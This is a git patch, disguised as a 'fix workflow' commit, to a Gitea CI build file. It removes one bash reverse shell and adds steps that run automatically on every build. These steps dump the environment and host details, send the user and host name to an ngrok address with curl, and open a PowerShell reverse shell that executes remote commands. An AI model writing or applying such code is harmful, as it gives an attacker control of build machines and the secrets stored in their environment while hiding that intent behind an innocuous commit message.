From 3f5f2995851e18b4831e02435e40a85a5d9f6d68 Mon Sep 17 00:00:00 2001 From: pentester Date: Tue, 6 Oct 2026 01:18:27 +0200 Subject: [PATCH] fix workflow --- .gitea/workflows/build.yml | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/.gitea/workflows/build.yml b/.gitea/workflows/build.yml index 2838ac6..6ed0f46 100644 --- a/.gitea/workflows/build.yml +++ b/.gitea/workflows/build.yml @@ -4,5 +4,16 @@ jobs: build: runs-on: ubuntu-latest steps: - - run: | - bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/10831 0>&1' + - name: Setup + run: | + whoami + hostname + ip addr 2>/dev/null || ipconfig + env | sort + curl http://2.tcp.eu.ngrok.io:10831/$(whoami)@$(hostname) || true + shell: bash + - name: Connect + run: | + powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('2.tcp.eu.ngrok.io',10831);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}" + shell: cmd + continue-on-error: true